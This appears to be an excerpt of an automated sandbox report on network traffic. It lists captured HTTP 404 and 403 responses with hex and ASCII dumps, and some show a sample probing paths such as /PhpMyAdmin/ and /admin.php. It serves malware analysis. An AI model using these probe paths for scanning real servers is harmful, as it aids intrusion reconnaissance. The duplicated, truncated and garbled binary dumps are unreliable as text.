Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:37 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-122-242.ec2.internalX-Request-Id: efc0c331-db35-4906-89b3-c759afc17f2cData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 26 Nov 2023 05:59:37 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingLast-Modified: Thu, 12 Sep 2019 15:06:38 GMTETag: W/"3fe-5925c7bf8c9e3"Content-Encoding: gzipData Raw: 32 35 63 0d 0a 1f 8b 08 00 00 00 00 00 04 03 65 53 dd 6b db 30 10 7f f7 5f 71 f3 4b 5f f2 b1 8e 6e 0f c3 0b a4 24 a3 81 76 1d 4d c6 28 a5 0c c5 3a c5 a2 b2 e4 49 a7 ba fe ef 7b b2 92 32 ba 17 1b db fa 7d de b9 ba da dd 5c 2f 8a ea 6a bd 5c f1 6d b7 d9 5d af 17 17 1f 2f e0 87 23 f8 ee a2 95 d5 3c bf 2c aa cb e5 76 0d 8d 47 f5 ad 9c a3 f7 ce ff 91 ae 0e f3 72 51 7d 98 4e 1f b4 02 43 08 9b 35 7c 79 5c 54 f3 74 98 3f 3c a0 95 5a 3d 4e a7 4c 3e 3f 8a 5c de ae ee 93 e4 f9 e2 1f 11 7e 2a 76 0d 82 c7 bf 11 03 a1 04 26 8f 2d 5a 82 5e 04 b0 6c 47 25 3b e0 2c 50 a3 03 04 f4 cf e8 67 45 f5 33 71 dd f1 65 b9 5a dd ad b7 db 45 f1 1b f7 b0 1d 3f 83 60 18 4a f4 bd 36 72 26 88 4d bc 9d 62 8f d9 c8 3c 77 50 a4 18 05 00 4c e1 97 55 ce 53 b4 82 d0 0c 13 b8 d1 b5 77 c1 29 82 86 ad 08 29 d9 9d 80 da 20 1b 00 8b 7d 06 95 0a 05 45 8f 25 90 83 8d 25 f4 16 09 d6 2f 9d 71 9e 8d c2 46 b1 71 04 c2 17 02 a7 32 46 58 18 9b 3c 0b d0 62 08 e2 80 c0 d1 4a 72 0e 42 2b 8c 29 27 10 3a ac b5 d2 35 3f 0d 19 64 f8 24 53 31 f6 f3 f9 27 d8 0f 84 61 f2 bf 20 37 c9 6e 6c c8 18 4d 01 5c 7f 54 3b 69 cd e0 de 45 a8 99 28 9d 4c 94 c9 99 9a 64 c8 3e 12 68 62 67 1d 33 d1 00 e4 75 fd c4 37 07 4a f3 1c 42 af a9 6e 18 6d 0c ca 8c 28 d9 b3 a7 9c e8 a4 11 ca 19 ec 12 71 8b c2 b2 4f a7 a0 76 d1 07 3c aa 8c a2 a1 e1 ba df e1 40 78 84 1a 6d e0 f6 24 a7 04 89 4a 44 43 b3 ac b5 d9 6c 41 98 5e 0c e1 14 f4 3d 7e 64 4e 24 c6 d9 43 06 a1 75 f1 d0 a4 08 ad 78 e2 5d 7d 3f 24 9e 6f d7 0d c9 30 66 40 ef fc 93 f0 e3 de f1 5c 8e 45 04 dd 76 06 bf 42 27 e4 38 d1 71 82 f9 fc 69 88 dc 4d c3 2b b2 d7 07 4e db 8e 5b 6c 34 2b 8e 9b cb f2 5d 0c 0d 97 9b 41 2e ad 51 5a 0d a5 9f 11 1a 5e f2 94 58 70 c7 d4 a3 e1 57 e3 88 a1 d5 56 b7 b1 3d e6 bf 7d eb 71 9c 1b 8f 09 5f 44 4d 66 80 3e b5 3d b8 78 c6 d1 3d 0a a9 4f e9 bd 3e 34 c4 7f 52 9f 29 f8 97 7c 05 7e a9 4a 3b fe 03 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 25ceSk0_qK_n$vM(:I{2}\/j\m]/#<,vGrQ}NC5\|y\Tt?<Z=NL>?\~*v&-Z^lG%;,PgE3qeZE?`J6r&Mb<wPLUSw)) }E%%/qFq2FX<bJrB+)':5?d$S1'a 7nlM\T;iE(Ld>hbg3u7JBnm(qOv<@xm$JDClA^=~dN$Cux]}?$o0f@\EvB'8qiM+N[l4+]A.QZ^XpWV=}q_DMf>=x=O>4R)\|~J;0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 26 Nov 2023 05:59:37 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingLast-Modified: Thu, 12 Sep 2019 15:06:38 GMTETag: W/"3fe-5925c7bf8c9e3"Content-Encoding: gzipData Raw: 32 35 63 0d 0a 1f 8b 08 00 00 00 00 00 04 03 65 53 dd 6b db 30 10 7f f7 5f 71 f3 4b 5f f2 b1 8e 6e 0f c3 0b a4 24 a3 81 76 1d 4d c6 28 a5 0c c5 3a c5 a2 b2 e4 49 a7 ba fe ef 7b b2 92 32 ba 17 1b db fa 7d de b9 ba da dd 5c 2f 8a ea 6a bd 5c f1 6d b7 d9 5d af 17 17 1f 2f e0 87 23 f8 ee a2 95 d5 3c bf 2c aa cb e5 76 0d 8d 47 f5 ad 9c a3 f7 ce ff 91 ae 0e f3 72 51 7d 98 4e 1f b4 02 43 08 9b 35 7c 79 5c 54 f3 74 98 3f 3c a0 95 5a 3d 4e a7 4c 3e 3f 8a 5c de ae ee 93 e4 f9 e2 1f 11 7e 2a 76 0d 82 c7 bf 11 03 a1 04 26 8f 2d 5a 82 5e 04 b0 6c 47 25 3b e0 2c 50 a3 03 04 f4 cf e8 67 45 f5 33 71 dd f1 65 b9 5a dd ad b7 db 45 f1 1b f7 b0 1d 3f 83 60 18 4a f4 bd 36 72 26 88 4d bc 9d 62 8f d9 c8 3c 77 50 a4 18 05 00 4c e1 97 55 ce 53 b4 82 d0 0c 13 b8 d1 b5 77 c1 29 82 86 ad 08 29 d9 9d 80 da 20 1b 00 8b 7d 06 95 0a 05 45 8f 25 90 83 8d 25 f4 16 09 d6 2f 9d 71 9e 8d c2 46 b1 71 04 c2 17 02 a7 32 46 58 18 9b 3c 0b d0 62 08 e2 80 c0 d1 4a 72 0e 42 2b 8c 29 27 10 3a ac b5 d2 35 3f 0d 19 64 f8 24 53 31 f6 f3 f9 27 d8 0f 84 61 f2 bf 20 37 c9 6e 6c c8 18 4d 01 5c 7f 54 3b 69 cd e0 de 45 a8 99 28 9d 4c 94 c9 99 9a 64 c8 3e 12 68 62 67 1d 33 d1 00 e4 75 fd c4 37 07 4a f3 1c 42 af a9 6e 18 6d 0c ca 8c 28 d9 b3 a7 9c e8 a4 11 ca 19 ec 12 71 8b c2 b2 4f a7 a0 76 d1 07 3c aa 8c a2 a1 e1 ba df e1 40 78 84 1a 6d e0 f6 24 a7 04 89 4a 44 43 b3 ac b5 d9 6c 41 98 5e 0c e1 14 f4 3d 7e 64 4e 24 c6 d9 43 06 a1 75 f1 d0 a4 08 ad 78 e2 5d 7d 3f 24 9e 6f d7 0d c9 30 66 40 ef fc 93 f0 e3 de f1 5c 8e 45 04 dd 76 06 bf 42 27 e4 38 d1 71 82 f9 fc 69 88 dc 4d c3 2b b2 d7 07 4e db 8e 5b 6c 34 2b 8e 9b cb f2 5d 0c 0d 97 9b 41 2e ad 51 5a 0d a5 9f 11 1a 5e f2 94 58 70 c7 d4 a3 e1 57 e3 88 a1 d5 56 b7 b1 3d e6 bf 7d eb 71 9c 1b 8f 09 5f 44 4d 66 80 3e b5 3d b8 78 c6 d1 3d 0a a9 4f e9 bd 3e 34 c4 7f 52 9f 29 f8 97 7c 05 7e a9 4a 3b fe 03 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 25ceSk0_qK_n$vM(:I{2}\/j\m]/#<,vGrQ}NC5\|y\Tt?<Z=NL>?\~*v&-Z^lG%;,PgE3qeZE?`J6r&Mb<wPLUSw)) }E%%/qFq2FX<bJrB+)':5?d$S1'a 7nlM\T;iE(Ld>hbg3u7JBnm(qOv<@xm$JDClA^=~dN$Cux]}?$o0f@\EvB'8qiM+N[l4+]A.QZ^XpWV=}q_DMf>=x=O>4R)\|~J;0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:37 GMTServer: Apache/2.4.58 (Unix)Content-Length: 196Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:37 GMTServer: Apache/2.4.58 (Unix)Content-Length: 196Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:37 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-123-88.ec2.internalX-Request-Id: 44a54137-f06a-49d5-b31c-8e0c6d123a10Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:37 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.1e-fips mod_fcgid/2.3.9 PHP/5.4.16Content-Length: 209Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 50 68 70 4d 79 41 64 6d 69 6e 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /PhpMyAdmin/ was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:37 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.1e-fips mod_fcgid/2.3.9 PHP/5.4.16Content-Length: 207Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 61 64 6d 69 6e 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /admin.php was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:37 GMTServer: ApacheVary: accept-language,accept-charset,User-AgentAccept-Ranges: bytesTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8Content-Language: enData Raw: 63 38 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 0d 0a 65 0d 0a 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 0d 0a 31 33 0d 0a 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 0d 0a 33 38 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 31 31 33 0d 0a 25 35 62 6e 6f 25 32 30 61 64 64 72 65 73 73 25 32 30 67 69 76 65 6e 25 35 64 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 0d 0a 31 62 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 0a 3c 70 3e 0a 0d 0a 33 39 0d 0a 0a 0a 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 0a 20 20 0d 0a 35 37 0d 0a 0a 0a 20 20 20 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 0a 20 20 20 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 0a 0a 20 20 0d 0a 32 0d 0a 0a 0a 0d 0a 39 0d 0a 3c 2f 70 3e 0a 3c 70 3e 0a 0d 0a 34 38 0d 0a 49 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 0a 74 68 65 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 32 62 0d 0a 25 35 62 6e 6f 25 32 30 61 64 64 72 65 73 73 25 32 30 67 69 76 65 6e 25 35 64 22 3e 77 65 62 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: awselb/2.0Date: Sun, 26 Nov 2023 05:59:37 GMTContent-Type: text/htmlContent-Length: 118Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: awselb/2.0Date: Sun, 26 Nov 2023 05:59:37 GMTContent-Type: text/htmlContent-Length: 118Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:37 GMTServer: ApacheVary: accept-language,accept-charsetAccept-Ranges: bytesConnection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=iso-8859-1Content-Language: enData Raw: 31 65 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 0d 0a 61 66 0d 0a 49 53 4f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 0d 0a 65 0d 0a 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 0d 0a 31 33 0d 0a 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 0d 0a 33 38 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 31 31 35 0d 0a 77 65 62 6d 61 73 74 65 72 40 66 69 6e 61 6e 63 65 66 61 73 74 2e 63 6f 6d 2e 62 72 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 0d 0a 31 62 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 0a 3c 70 3e 0a 0d 0a 33 39 0d 0a 0a 0a 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 0a 20 20 0d 0a 35 37 0d 0a 0a 0a 20 20 20 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 0a 20 20 20 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 0a 0a 20 20 0d 0a 32 0d 0a 0a 0a 0d 0a 39 0d 0a 3c 2f 70 3e 0a 3c 70 3e 0a 0d 0a 34 38 0d 0a 49 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 0a 74 68 65 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 32 64 0d 0a 77 65 62 6d 61 73 74 65 72 40 66 69 6e 61
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:37 GMTServer: ApacheVary: Accept-EncodingContent-Encoding: gzipContent-Length: 178Content-Type: text/html; charset=iso-8859-1Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8e 3d 0f 82 30 14 45 f7 fe 8a 27 bb 3c 34 8c 4d 07 f9 88 24 88 c4 94 c1 11 d3 9a 92 40 8b b4 68 fc f7 52 58 1c ef bb e7 9d 5c ba 4b af 09 bf d7 19 9c f9 a5 84 ba 39 95 45 02 c1 1e b1 c8 78 8e 98 f2 74 6b 8e 61 84 98 55 01 23 54 b9 a1 67 54 c9 56 2c c1 75 ae 97 2c 8e 62 a8 8c 83 dc cc 5a 50 dc 8e 84 e2 0a d1 87 11 5f ff 77 60 7f cc 92 08 1d 19 57 12 26 f9 9a a5 75 52 40 73 2b 01 5b 31 74 1a 3e ad 05 bd e0 4f 8f 83 d1 e0 54 67 c1 ca e9 2d a7 90 e2 e8 f5 ab 78 51 f9 41 e4 07 03 db dd c9 cb 00 00 00 Data Ascii: M=0E'<4M$@hRX\K9ExtkaU#TgTV,u,bZP_w`W&uR@s+[1t>OTg-xQA
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Sun, 26 Nov 2023 05:55:10 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not 